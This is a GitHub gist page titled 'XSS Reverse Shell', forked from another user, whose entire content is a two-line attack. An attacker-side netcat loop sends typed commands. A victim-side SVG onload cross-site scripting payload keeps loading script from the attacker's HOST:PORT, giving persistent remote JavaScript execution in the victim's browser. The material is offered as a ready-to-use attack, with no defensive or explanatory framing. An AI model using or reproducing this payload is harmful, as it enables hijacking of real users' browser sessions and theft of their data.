Skip to content

Instantly share code, notes, and snippets.

@setrus
Forked from ivanvza/xss_shell.txt
Created November 5, 2019 14:39
Show Gist options
  • Save setrus/d2da6fe50d709b4d3616375641fa28eb to your computer and use it in GitHub Desktop.
Save setrus/d2da6fe50d709b4d3616375641fa28eb to your computer and use it in GitHub Desktop.
XSS Reverse Shell
Attacker: while :; do printf "j$ "; read c; echo $c | nc -lp PORT >/dev/null; done
Victim: <svg/onload=setInterval(function(){d=document;z=d.createElement("script");z.src="//HOST:PORT";d.body.appendChild(z)},0)>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment